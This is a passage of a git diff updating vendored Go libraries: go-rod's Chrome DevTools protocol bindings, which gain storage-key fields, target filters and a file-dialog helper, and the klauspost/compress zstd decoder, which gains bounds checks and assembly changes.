"Storage.untrackCacheStorageForOrigin": reflect.TypeOf(StorageUntrackCacheStorageForOrigin{}), "Storage.untrackIndexedDBForOrigin": reflect.TypeOf(StorageUntrackIndexedDBForOrigin{}), + "Storage.untrackIndexedDBForStorageKey": reflect.TypeOf(StorageUntrackIndexedDBForStorageKey{}), "Storage.getTrustTokens": reflect.TypeOf(StorageGetTrustTokens{}), "Storage.getTrustTokensResult": reflect.TypeOf(StorageGetTrustTokensResult{}), "Storage.clearTrustTokens": reflect.TypeOf(StorageClearTrustTokens{}), @@ -888,6 +893,7 @@ var types = map[string]reflect.Type{ "SystemInfo.getProcessInfo": reflect.TypeOf(SystemInfoGetProcessInfo{}), "SystemInfo.getProcessInfoResult": reflect.TypeOf(SystemInfoGetProcessInfoResult{}), "Target.TargetInfo": reflect.TypeOf(TargetTargetInfo{}), + "Target.FilterEntry": reflect.TypeOf(TargetFilterEntry{}), "Target.RemoteLocation": reflect.TypeOf(TargetRemoteLocation{}), "Target.activateTarget": reflect.TypeOf(TargetActivateTarget{}), "Target.attachToTarget": reflect.TypeOf(TargetAttachToTarget{}), @@ -1014,6 +1020,7 @@ var types = map[string]reflect.Type{ "Debugger.Scope": reflect.TypeOf(DebuggerScope{}), "Debugger.SearchMatch": reflect.TypeOf(DebuggerSearchMatch{}), "Debugger.BreakLocation": reflect.TypeOf(DebuggerBreakLocation{}), + "Debugger.WasmDisassemblyChunk": reflect.TypeOf(DebuggerWasmDisassemblyChunk{}), "Debugger.DebugSymbols": reflect.TypeOf(DebuggerDebugSymbols{}), "Debugger.continueToLocation": reflect.TypeOf(DebuggerContinueToLocation{}), "Debugger.disable": reflect.TypeOf(DebuggerDisable{}), @@ -1025,6 +1032,10 @@ var types = map[string]reflect.Type{ "Debugger.getPossibleBreakpointsResult": reflect.TypeOf(DebuggerGetPossibleBreakpointsResult{}), "Debugger.getScriptSource": reflect.TypeOf(DebuggerGetScriptSource{}), "Debugger.getScriptSourceResult": reflect.TypeOf(DebuggerGetScriptSourceResult{}), + "Debugger.disassembleWasmModule": reflect.TypeOf(DebuggerDisassembleWasmModule{}), + "Debugger.disassembleWasmModuleResult": reflect.TypeOf(DebuggerDisassembleWasmModuleResult{}), + "Debugger.nextWasmDisassemblyChunk": reflect.TypeOf(DebuggerNextWasmDisassemblyChunk{}), + "Debugger.nextWasmDisassemblyChunkResult": reflect.TypeOf(DebuggerNextWasmDisassemblyChunkResult{}), "Debugger.getWasmBytecode": reflect.TypeOf(DebuggerGetWasmBytecode{}), "Debugger.getWasmBytecodeResult": reflect.TypeOf(DebuggerGetWasmBytecodeResult{}), "Debugger.getStackTrace": reflect.TypeOf(DebuggerGetStackTrace{}), diff --git a/vendor/github.com/go-rod/rod/lib/proto/indexed_db.go b/vendor/github.com/go-rod/rod/lib/proto/indexed_db.go index f682604e1..c9810f8d0 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/indexed_db.go +++ b/vendor/github.com/go-rod/rod/lib/proto/indexed_db.go @@ -149,8 +149,12 @@ type IndexedDBKeyPath struct { // IndexedDBClearObjectStore Clears all entries from an object store. type IndexedDBClearObjectStore struct { - // SecurityOrigin Security origin. - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` // DatabaseName Database name. DatabaseName string `json:"databaseName"` @@ -170,8 +174,12 @@ func (m IndexedDBClearObjectStore) Call(c Client) error { // IndexedDBDeleteDatabase Deletes a database. type IndexedDBDeleteDatabase struct { - // SecurityOrigin Security origin. - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` // DatabaseName Database name. DatabaseName string `json:"databaseName"` @@ -188,8 +196,12 @@ func (m IndexedDBDeleteDatabase) Call(c Client) error { // IndexedDBDeleteObjectStoreEntries Delete a range of entries from an object store type IndexedDBDeleteObjectStoreEntries struct { - // SecurityOrigin ... - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` // DatabaseName ... DatabaseName string `json:"databaseName"` @@ -238,8 +250,12 @@ func (m IndexedDBEnable) Call(c Client) error { // IndexedDBRequestData Requests data from object store or index. type IndexedDBRequestData struct { - // SecurityOrigin Security origin. - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` // DatabaseName Database name. DatabaseName string `json:"databaseName"` @@ -282,8 +298,12 @@ type IndexedDBRequestDataResult struct { // IndexedDBGetMetadata Gets metadata of an object store type IndexedDBGetMetadata struct { - // SecurityOrigin Security origin. - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` // DatabaseName Database name. DatabaseName string `json:"databaseName"` @@ -316,8 +336,12 @@ type IndexedDBGetMetadataResult struct { // IndexedDBRequestDatabase Requests database with given name in given frame. type IndexedDBRequestDatabase struct { - // SecurityOrigin Security origin. - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` // DatabaseName Database name. DatabaseName string `json:"databaseName"` @@ -342,8 +366,12 @@ type IndexedDBRequestDatabaseResult struct { // IndexedDBRequestDatabaseNames Requests database names for given security origin. type IndexedDBRequestDatabaseNames struct { - // SecurityOrigin Security origin. - SecurityOrigin string `json:"securityOrigin"` + // SecurityOrigin (optional) At least and at most one of securityOrigin, storageKey must be specified. + // Security origin. + SecurityOrigin string `json:"securityOrigin,omitempty"` + + // StorageKey (optional) Storage key. + StorageKey string `json:"storageKey,omitempty"` } // ProtoReq name diff --git a/vendor/github.com/go-rod/rod/lib/proto/network.go b/vendor/github.com/go-rod/rod/lib/proto/network.go index bc2fa3c8b..7d7d5ebd6 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/network.go +++ b/vendor/github.com/go-rod/rod/lib/proto/network.go @@ -46,6 +46,9 @@ const ( // NetworkResourceTypeFetch enum const NetworkResourceTypeFetch NetworkResourceType = "Fetch" + // NetworkResourceTypePrefetch enum const + NetworkResourceTypePrefetch NetworkResourceType = "Prefetch" + // NetworkResourceTypeEventSource enum const NetworkResourceTypeEventSource NetworkResourceType = "EventSource" @@ -438,6 +441,14 @@ type NetworkSecurityDetails struct { // CertificateTransparencyCompliance Whether the request complied with Certificate Transparency policy CertificateTransparencyCompliance NetworkCertificateTransparencyCompliance `json:"certificateTransparencyCompliance"` + + // ServerSignatureAlgorithm (optional) The signature algorithm used by the server in the TLS server signature, + // represented as a TLS SignatureScheme code point. Omitted if not + // applicable or not known. + ServerSignatureAlgorithm *int `json:"serverSignatureAlgorithm,omitempty"` + + // EncryptedClientHello Whether the connection used Encrypted ClientHello + EncryptedClientHello bool `json:"encryptedClientHello"` } // NetworkCertificateTransparencyCompliance Whether the request complied with Certificate Transparency policy. diff --git a/vendor/github.com/go-rod/rod/lib/proto/page.go b/vendor/github.com/go-rod/rod/lib/proto/page.go index f5114ced4..dfe5787c4 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/page.go +++ b/vendor/github.com/go-rod/rod/lib/proto/page.go @@ -302,6 +302,9 @@ const ( // PagePermissionsPolicyFeatureSharedAutofill enum const PagePermissionsPolicyFeatureSharedAutofill PagePermissionsPolicyFeature = "shared-autofill" + // PagePermissionsPolicyFeatureSharedStorage enum const + PagePermissionsPolicyFeatureSharedStorage PagePermissionsPolicyFeature = "shared-storage" + // PagePermissionsPolicyFeatureStorageAccessAPI enum const PagePermissionsPolicyFeatureStorageAccessAPI PagePermissionsPolicyFeature = "storage-access-api" @@ -311,6 +314,9 @@ const ( // PagePermissionsPolicyFeatureTrustTokenRedemption enum const PagePermissionsPolicyFeatureTrustTokenRedemption PagePermissionsPolicyFeature = "trust-token-redemption" + // PagePermissionsPolicyFeatureUnload enum const + PagePermissionsPolicyFeatureUnload PagePermissionsPolicyFeature = "unload" + // PagePermissionsPolicyFeatureUsb enum const PagePermissionsPolicyFeatureUsb PagePermissionsPolicyFeature = "usb" @@ -1454,6 +1460,12 @@ const ( // PagePrerenderFinalStatusEmbedderTriggeredAndDestroyed enum const PagePrerenderFinalStatusEmbedderTriggeredAndDestroyed PagePrerenderFinalStatus = "EmbedderTriggeredAndDestroyed" + + // PagePrerenderFinalStatusMemoryLimitExceeded enum const + PagePrerenderFinalStatusMemoryLimitExceeded PagePrerenderFinalStatus = "MemoryLimitExceeded" + + // PagePrerenderFinalStatusFailToGetMemoryUsage enum const + PagePrerenderFinalStatusFailToGetMemoryUsage PagePrerenderFinalStatus = "FailToGetMemoryUsage" ) // PageAddScriptToEvaluateOnLoad (deprecated) (experimental) Deprecated, please use addScriptToEvaluateOnNewDocument instead. @@ -3191,7 +3203,7 @@ func (evt PageBackForwardCacheNotUsed) ProtoEvent() string { return "Page.backForwardCacheNotUsed" } -// PagePrerenderAttemptCompleted Fired when a prerender attempt is completed. +// PagePrerenderAttemptCompleted (experimental) Fired when a prerender attempt is completed. type PagePrerenderAttemptCompleted struct { // InitiatingFrameID The frame id of the frame initiating prerendering. @@ -3202,6 +3214,10 @@ type PagePrerenderAttemptCompleted struct { // FinalStatus ... FinalStatus PagePrerenderFinalStatus `json:"finalStatus"` + + // ReasonDetails (optional) This is used to give users more information about the cancellation details, + // and this will be formatted for display. + ReasonDetails string `json:"reasonDetails,omitempty"` } // ProtoEvent name diff --git a/vendor/github.com/go-rod/rod/lib/proto/storage.go b/vendor/github.com/go-rod/rod/lib/proto/storage.go index 48370f2bb..0e1455a3a 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/storage.go +++ b/vendor/github.com/go-rod/rod/lib/proto/storage.go @@ -184,6 +184,24 @@ func (m StorageClearDataForOrigin) Call(c Client) error { return call(m.ProtoReq(), m, nil, c) } +// StorageClearDataForStorageKey Clears storage for storage key. +type StorageClearDataForStorageKey struct { + + // StorageKey Storage key. + StorageKey string `json:"storageKey"` + + // StorageTypes Comma separated list of StorageType to clear. + StorageTypes string `json:"storageTypes"` +} + +// ProtoReq name +func (m StorageClearDataForStorageKey) ProtoReq() string { return "Storage.clearDataForStorageKey" } + +// Call sends the request +func (m StorageClearDataForStorageKey) Call(c Client) error { + return call(m.ProtoReq(), m, nil, c) +} + // StorageGetCookies Returns all browser cookies. type StorageGetCookies struct { @@ -328,6 +346,23 @@ func (m StorageTrackIndexedDBForOrigin) Call(c Client) error { return call(m.ProtoReq(), m, nil, c) } +// StorageTrackIndexedDBForStorageKey Registers storage key to be notified when an update occurs to its IndexedDB. +type StorageTrackIndexedDBForStorageKey struct { + + // StorageKey Storage key. + StorageKey string `json:"storageKey"` +} + +// ProtoReq name +func (m StorageTrackIndexedDBForStorageKey) ProtoReq() string { + return "Storage.trackIndexedDBForStorageKey" +} + +// Call sends the request +func (m StorageTrackIndexedDBForStorageKey) Call(c Client) error { + return call(m.ProtoReq(), m, nil, c) +} + // StorageUntrackCacheStorageForOrigin Unregisters origin from receiving notifications for cache storage. type StorageUntrackCacheStorageForOrigin struct { @@ -362,6 +397,23 @@ func (m StorageUntrackIndexedDBForOrigin) Call(c Client) error { return call(m.ProtoReq(), m, nil, c) } +// StorageUntrackIndexedDBForStorageKey Unregisters storage key from receiving notifications for IndexedDB. +type StorageUntrackIndexedDBForStorageKey struct { + + // StorageKey Storage key. + StorageKey string `json:"storageKey"` +} + +// ProtoReq name +func (m StorageUntrackIndexedDBForStorageKey) ProtoReq() string { + return "Storage.untrackIndexedDBForStorageKey" +} + +// Call sends the request +func (m StorageUntrackIndexedDBForStorageKey) Call(c Client) error { + return call(m.ProtoReq(), m, nil, c) +} + // StorageGetTrustTokens (experimental) Returns the number of stored Trust Tokens per issuer for the // current browsing context. type StorageGetTrustTokens struct { @@ -481,6 +533,9 @@ type StorageIndexedDBContentUpdated struct { // Origin Origin to update. Origin string `json:"origin"` + // StorageKey Storage key to update. + StorageKey string `json:"storageKey"` + // DatabaseName Database to update. DatabaseName string `json:"databaseName"` @@ -498,6 +553,9 @@ type StorageIndexedDBListUpdated struct { // Origin Origin to update. Origin string `json:"origin"` + + // StorageKey Storage key to update. + StorageKey string `json:"storageKey"` } // ProtoEvent name diff --git a/vendor/github.com/go-rod/rod/lib/proto/target.go b/vendor/github.com/go-rod/rod/lib/proto/target.go index 49f1b2fe3..2b1aebae7 100644 --- a/vendor/github.com/go-rod/rod/lib/proto/target.go +++ b/vendor/github.com/go-rod/rod/lib/proto/target.go @@ -70,6 +70,24 @@ type TargetTargetInfo struct { BrowserContextID BrowserBrowserContextID `json:"browserContextId,omitempty"` } +// TargetFilterEntry (experimental) A filter used by target query/discovery/auto-attach operations. +type TargetFilterEntry struct { + + // Exclude (optional) If set, causes exclusion of mathcing targets from the list. + Exclude bool `json:"exclude,omitempty"` + + // Type (optional) If not present, matches any type. + Type string `json:"type,omitempty"` +} + +// TargetTargetFilter (experimental) The entries in TargetFilter are matched sequentially against targets and +// the first entry that matches determines if the target is included or not, +// depending on the value of `exclude` field in the entry. +// If filter is not specified, the one assumed is +// [{type: "browser", exclude: true}, {type: "tab", exclude: true}, {}] +// (i.e. include everything but `browser` and `tab`). +type TargetTargetFilter []*TargetFilterEntry + // TargetRemoteLocation (experimental) ... type TargetRemoteLocation struct { @@ -347,6 +365,11 @@ type TargetGetTargetInfoResult struct { // TargetGetTargets Retrieves a list of available targets. type TargetGetTargets struct { + + // Filter (experimental) (optional) Only targets matching filter will be reported. If filter is not specified + // and target discovery is currently enabled, a filter used for target discovery + // is used for consistency. + Filter TargetTargetFilter `json:"filter,omitempty"` } // ProtoReq name @@ -406,6 +429,9 @@ type TargetSetAutoAttach struct { // We plan to make this the default, deprecate non-flattened mode, // and eventually retire it. See crbug.com/991325. Flatten bool `json:"flatten,omitempty"` + + // Filter (experimental) (optional) Only targets matching filter will be attached. + Filter TargetTargetFilter `json:"filter,omitempty"` } // ProtoReq name @@ -429,6 +455,9 @@ type TargetAutoAttachRelated struct { // WaitForDebuggerOnStart Whether to pause new targets when attaching to them. Use `Runtime.runIfWaitingForDebugger` // to run paused targets. WaitForDebuggerOnStart bool `json:"waitForDebuggerOnStart"` + + // Filter (experimental) (optional) Only targets matching filter will be attached. + Filter TargetTargetFilter `json:"filter,omitempty"` } // ProtoReq name @@ -445,6 +474,10 @@ type TargetSetDiscoverTargets struct { // Discover Whether to discover available targets. Discover bool `json:"discover"` + + // Filter (experimental) (optional) Only targets matching filter will be attached. If `discover` is false, + // `filter` must be omitted or empty. + Filter TargetTargetFilter `json:"filter,omitempty"` } // ProtoReq name diff --git a/vendor/github.com/go-rod/rod/lib/utils/utils.go b/vendor/github.com/go-rod/rod/lib/utils/utils.go index 248297135..59fbd1a65 100644 --- a/vendor/github.com/go-rod/rod/lib/utils/utils.go +++ b/vendor/github.com/go-rod/rod/lib/utils/utils.go @@ -103,6 +103,17 @@ func Mkdir(path string) error { return os.MkdirAll(path, 0775) } +// AbsolutePaths returns absolute paths of files in current working directory +func AbsolutePaths(paths []string) []string { + absPaths := []string{} + for _, p := range paths { + absPath, err := filepath.Abs(p) + E(err) + absPaths = append(absPaths, absPath) + } + return absPaths +} + // OutputFile auto creates file if not exists, it will try to detect the data type and // auto output binary, string or json func OutputFile(p string, data interface{}) error { diff --git a/vendor/github.com/go-rod/rod/must.go b/vendor/github.com/go-rod/rod/must.go index 231b4c7b5..61920db48 100644 --- a/vendor/github.com/go-rod/rod/must.go +++ b/vendor/github.com/go-rod/rod/must.go @@ -341,6 +341,15 @@ func (p *Page) MustHandleDialog() (wait func() *proto.PageJavascriptDialogOpenin } } +// MustHandleFileDialog is similar to Page.HandleFileDialog +func (p *Page) MustHandleFileDialog() func(...string) { + setFiles, err := p.HandleFileDialog() + p.e(err) + return func(paths ...string) { + p.e(setFiles(paths)) + } +} + // MustScreenshot is similar to Screenshot. // If the toFile is "", it Page.will save output to "tmp/screenshots" folder, time as the file name. func (p *Page) MustScreenshot(toFile ...string) []byte { diff --git a/vendor/github.com/go-rod/rod/page.go b/vendor/github.com/go-rod/rod/page.go index 252c19a67..369bd8638 100644 --- a/vendor/github.com/go-rod/rod/page.go +++ b/vendor/github.com/go-rod/rod/page.go @@ -354,6 +354,32 @@ func (p *Page) HandleDialog() ( } } +// HandleFileDialog return a functions that waits for the next file chooser dialog pops up and returns the element +// for the event. +func (p *Page) HandleFileDialog() (func([]string) error, error) { + err := proto.PageSetInterceptFileChooserDialog{Enabled: true}.Call(p) + if err != nil { + return nil, err + } + + var e proto.PageFileChooserOpened + w := p.WaitEvent(&e) + + return func(paths []string) error { + w() + + err := proto.PageSetInterceptFileChooserDialog{Enabled: false}.Call(p) + if err != nil { + return err + } + + return proto.DOMSetFileInputFiles{ + Files: utils.AbsolutePaths(paths), + BackendNodeID: e.BackendNodeID, + }.Call(p) + }, nil +} + // Screenshot captures the screenshot of current page. func (p *Page) Screenshot(fullpage bool, req *proto.PageCaptureScreenshot) ([]byte, error) { if req == nil { diff --git a/vendor/github.com/klauspost/compress/README.md b/vendor/github.com/klauspost/compress/README.md index c7cf1a20c..ad5c63a82 100644 --- a/vendor/github.com/klauspost/compress/README.md +++ b/vendor/github.com/klauspost/compress/README.md @@ -17,6 +17,16 @@ This package provides various compression algorithms. # changelog +* July 13, 2022 (v1.15.8) + + * gzip: fix stack exhaustion bug in Reader.Read https://github.com/klauspost/compress/pull/641 + * s2: Add Index header trim/restore https://github.com/klauspost/compress/pull/638 + * zstd: Optimize seqdeq amd64 asm by @greatroar in https://github.com/klauspost/compress/pull/636 + * zstd: Improve decoder memcopy https://github.com/klauspost/compress/pull/637 + * huff0: Pass a single bitReader pointer to asm by @greatroar in https://github.com/klauspost/compress/pull/634 + * zstd: Branchless getBits for amd64 w/o BMI2 by @greatroar in https://github.com/klauspost/compress/pull/640 + * gzhttp: Remove header before writing https://github.com/klauspost/compress/pull/639 + * June 29, 2022 (v1.15.7) * s2: Fix absolute forward seeks https://github.com/klauspost/compress/pull/633 diff --git a/vendor/github.com/klauspost/compress/zstd/bytebuf.go b/vendor/github.com/klauspost/compress/zstd/bytebuf.go index 4493baa75..2ad02070d 100644 --- a/vendor/github.com/klauspost/compress/zstd/bytebuf.go +++ b/vendor/github.com/klauspost/compress/zstd/bytebuf.go @@ -23,7 +23,7 @@ type byteBuffer interface { readByte() (byte, error) // Skip n bytes. - skipN(n int) error + skipN(n int64) error } // in-memory buffer @@ -62,9 +62,12 @@ func (b *byteBuf) readByte() (byte, error) { return r, nil } -func (b *byteBuf) skipN(n int) error { +func (b *byteBuf) skipN(n int64) error { bb := *b - if len(bb) < n { + if n < 0 { + return fmt.Errorf("negative skip (%d) requested", n) + } + if int64(len(bb)) < n { return io.ErrUnexpectedEOF } *b = bb[n:] @@ -120,9 +123,9 @@ func (r *readerWrapper) readByte() (byte, error) { return r.tmp[0], nil } -func (r *readerWrapper) skipN(n int) error { - n2, err := io.CopyN(ioutil.Discard, r.r, int64(n)) - if n2 != int64(n) { +func (r *readerWrapper) skipN(n int64) error { + n2, err := io.CopyN(ioutil.Discard, r.r, n) + if n2 != n { err = io.ErrUnexpectedEOF } return err diff --git a/vendor/github.com/klauspost/compress/zstd/decoder.go b/vendor/github.com/klauspost/compress/zstd/decoder.go index 286c8f9d7..d212f4737 100644 --- a/vendor/github.com/klauspost/compress/zstd/decoder.go +++ b/vendor/github.com/klauspost/compress/zstd/decoder.go @@ -348,6 +348,9 @@ func (d *Decoder) DecodeAll(input, dst []byte) ([]byte, error) { frame.history.setDict(&dict) } if frame.WindowSize > d.o.maxWindowSize { + if debugDecoder { + println("window size exceeded:", frame.WindowSize, ">", d.o.maxWindowSize) + } return dst, ErrWindowSizeExceeded } if frame.FrameContentSize != fcsUnknown { diff --git a/vendor/github.com/klauspost/compress/zstd/encoder.go b/vendor/github.com/klauspost/compress/zstd/encoder.go index e6b1d01cf..7aaaedb23 100644 --- a/vendor/github.com/klauspost/compress/zstd/encoder.go +++ b/vendor/github.com/klauspost/compress/zstd/encoder.go @@ -528,8 +528,8 @@ func (e *Encoder) EncodeAll(src, dst []byte) []byte { // If a non-single block is needed the encoder will reset again. e.encoders <- enc }() - // Use single segments when above minimum window and below 1MB. - single := len(src) < 1<<20 && len(src) > MinWindowSize + // Use single segments when above minimum window and below window size. + single := len(src) <= e.o.windowSize && len(src) > MinWindowSize if e.o.single != nil { single = *e.o.single } diff --git a/vendor/github.com/klauspost/compress/zstd/encoder_options.go b/vendor/github.com/klauspost/compress/zstd/encoder_options.go index 44d8dbd19..a7c5e1aac 100644 --- a/vendor/github.com/klauspost/compress/zstd/encoder_options.go +++ b/vendor/github.com/klauspost/compress/zstd/encoder_options.go @@ -283,7 +283,7 @@ func WithNoEntropyCompression(b bool) EOption { // a decoder is allowed to reject a compressed frame which requests a memory size beyond decoder's authorized range. // For broader compatibility, decoders are recommended to support memory sizes of at least 8 MB. // This is only a recommendation, each decoder is free to support higher or lower limits, depending on local limitations. -// If this is not specified, block encodes will automatically choose this based on the input size. +// If this is not specified, block encodes will automatically choose this based on the input size and the window size. // This setting has no effect on streamed encodes. func WithSingleSegment(b bool) EOption { return func(o *encoderOptions) error { diff --git a/vendor/github.com/klauspost/compress/zstd/framedec.go b/vendor/github.com/klauspost/compress/zstd/framedec.go index fa0a633f3..9568a4ba3 100644 --- a/vendor/github.com/klauspost/compress/zstd/framedec.go +++ b/vendor/github.com/klauspost/compress/zstd/framedec.go @@ -106,7 +106,7 @@ func (d *frameDec) reset(br byteBuffer) error { } n := uint32(b[0]) | (uint32(b[1]) << 8) | (uint32(b[2]) << 16) | (uint32(b[3]) << 24) println("Skipping frame with", n, "bytes.") - err = br.skipN(int(n)) + err = br.skipN(int64(n)) if err != nil { if debugDecoder { println("Reading discarded frame", err) @@ -231,20 +231,27 @@ func (d *frameDec) reset(br byteBuffer) error { d.crc.Reset() } + if d.WindowSize > d.o.maxWindowSize { + if debugDecoder { + printf("window size %d > max %d\n", d.WindowSize, d.o.maxWindowSize) + } + return ErrWindowSizeExceeded + } + if d.WindowSize == 0 && d.SingleSegment { // We may not need window in this case. d.WindowSize = d.FrameContentSize if d.WindowSize < MinWindowSize { d.WindowSize = MinWindowSize } - } - - if d.WindowSize > uint64(d.o.maxWindowSize) { - if debugDecoder { - printf("window size %d > max %d\n", d.WindowSize, d.o.maxWindowSize) + if d.WindowSize > d.o.maxDecodedSize { + if debugDecoder { + printf("window size %d > max %d\n", d.WindowSize, d.o.maxWindowSize) + } + return ErrDecoderSizeExceeded } - return ErrWindowSizeExceeded } + // The minimum Window_Size is 1 KB. if d.WindowSize < MinWindowSize { if debugDecoder { diff --git a/vendor/github.com/klauspost/compress/zstd/fse_decoder_amd64.go b/vendor/github.com/klauspost/compress/zstd/fse_decoder_amd64.go index e74df436c..c881d28d8 100644 --- a/vendor/github.com/klauspost/compress/zstd/fse_decoder_amd64.go +++ b/vendor/github.com/klauspost/compress/zstd/fse_decoder_amd64.go @@ -34,8 +34,8 @@ const ( // buildDtable will build the decoding table. func (s *fseDecoder) buildDtable() error { ctx := buildDtableAsmContext{ - stateTable: (*uint16)(&s.stateTable[0]), - norm: (*int16)(&s.norm[0]), + stateTable: &s.stateTable[0], + norm: &s.norm[0], dt: (*uint64)(&s.dt[0]), } code := buildDtable_asm(s, &ctx) diff --git a/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.go b/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.go index 847b322ae..7598c1018 100644 --- a/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.go +++ b/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.go @@ -55,16 +55,22 @@ func (s *sequenceDecs) decodeSyncSimple(hist []byte) (bool, error) { if s.maxSyncLen == 0 && cap(s.out)-len(s.out) < maxCompressedBlockSize { return false, nil } - useSafe := false - if s.maxSyncLen == 0 && cap(s.out)-len(s.out) < maxCompressedBlockSizeAlloc { - useSafe = true - } - if s.maxSyncLen > 0 && cap(s.out)-len(s.out)-compressedBlockOverAlloc < int(s.maxSyncLen) { - useSafe = true - } - if cap(s.literals) < len(s.literals)+compressedBlockOverAlloc { - useSafe = true - } + + // FIXME: Using unsafe memory copies leads to rare, random crashes + // with fuzz testing. It is therefore disabled for now. + const useSafe = true + /* + useSafe := false + if s.maxSyncLen == 0 && cap(s.out)-len(s.out) < maxCompressedBlockSizeAlloc { + useSafe = true + } + if s.maxSyncLen > 0 && cap(s.out)-len(s.out)-compressedBlockOverAlloc < int(s.maxSyncLen) { + useSafe = true + } + if cap(s.literals) < len(s.literals)+compressedBlockOverAlloc { + useSafe = true + } + */ br := s.br diff --git a/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.s b/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.s index 71e64e061..27e76774c 100644 --- a/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.s +++ b/vendor/github.com/klauspost/compress/zstd/seqdec_amd64.s @@ -52,34 +52,46 @@ sequenceDecs_decode_amd64_fill_byte_by_byte: sequenceDecs_decode_amd64_fill_end: // Update offset - MOVQ R9, AX - MOVQ BX, CX - MOVQ DX, R15 - SHLQ CL, R15 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R15 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R15 - ADDQ R15, AX - MOVQ AX, 16(R10) + MOVQ R9, AX + MOVQ BX, CX + MOVQ DX, R15 + SHLQ CL, R15 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decode_amd64_of_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decode_amd64_of_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decode_amd64_of_update_zero + NEGQ CX + SHRQ CL, R15 + ADDQ R15, AX + +sequenceDecs_decode_amd64_of_update_zero: + MOVQ AX, 16(R10) // Update match length - MOVQ R8, AX - MOVQ BX, CX - MOVQ DX, R15 - SHLQ CL, R15 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R15 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R15 - ADDQ R15, AX - MOVQ AX, 8(R10) + MOVQ R8, AX + MOVQ BX, CX + MOVQ DX, R15 + SHLQ CL, R15 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decode_amd64_ml_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decode_amd64_ml_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decode_amd64_ml_update_zero + NEGQ CX + SHRQ CL, R15 + ADDQ R15, AX + +sequenceDecs_decode_amd64_ml_update_zero: + MOVQ AX, 8(R10) // Fill bitreader to have enough for the remaining CMPQ SI, $0x08 @@ -107,19 +119,25 @@ sequenceDecs_decode_amd64_fill_2_byte_by_byte: sequenceDecs_decode_amd64_fill_2_end: // Update literal length - MOVQ DI, AX - MOVQ BX, CX - MOVQ DX, R15 - SHLQ CL, R15 - MOVB AH, CL - ADDQ CX, BX - NEGL CX - SHRQ CL, R15 - SHRQ $0x20, AX - TESTQ CX, CX - CMOVQEQ CX, R15 - ADDQ R15, AX - MOVQ AX, (R10) + MOVQ DI, AX + MOVQ BX, CX + MOVQ DX, R15 + SHLQ CL, R15 + MOVB AH, CL + SHRQ $0x20, AX + TESTQ CX, CX + JZ sequenceDecs_decode_amd64_ll_update_zero + ADDQ CX, BX + CMPQ BX, $0x40 + JA sequenceDecs_decode_amd64_ll_update_zero + CMPQ CX, $0x40 + JAE sequenceDecs_decode_amd64_ll_update_zero + NEGQ CX + SHRQ CL, R15 + ADDQ R15, AX + +sequenceDecs_decode_amd64_ll_update_zero: + MOVQ AX, (R10) // Fill bitreader for state updates MOVQ R14, (SP) @@ -198,7 +216,7 @@ sequenceDecs_decode_amd64_skip_update: MOVQ R12, R13 MOVQ R11, R12 MOVQ CX, R11 - JMP sequenceDecs_decode_amd64_adjust_end + JMP sequenceDecs_decode_amd64_after_adjust sequenceDecs_decode_amd64_adjust_offsetB_1_or_0: CMPQ (R10), $0x00000000 @@ -210,7 +228,7 @@ sequenceDecs_decode_amd64_adjust_offset_maybezero: TESTQ CX, CX JNZ sequenceDecs_decode_amd64_adjust_offset_nonzero MOVQ R11, CX - JMP sequenceDecs_decode_amd64_adjust_end + JMP sequenceDecs_decode_amd64_after_adjust sequenceDecs_decode_amd64_adjust_offset_nonzero: CMPQ CX, $0x01 @@ -247,7 +265,7 @@ sequenceDecs_decode_amd64_adjust_temp_valid: MOVQ AX, R11 MOVQ AX, CX -sequenceDecs_decode_amd64_adjust_end: +sequenceDecs_decode_amd64_after_adjust: MOVQ CX, 16(R10) // Check values @@ -356,49 +374,67 @@ sequenceDecs_decode_56_amd64_fill_byte_by_byte: sequenceDecs_decode_56_amd64_fill_end: // Update offset - MOVQ R9, AX - MOVQ BX, CX - MOVQ DX, R15 - 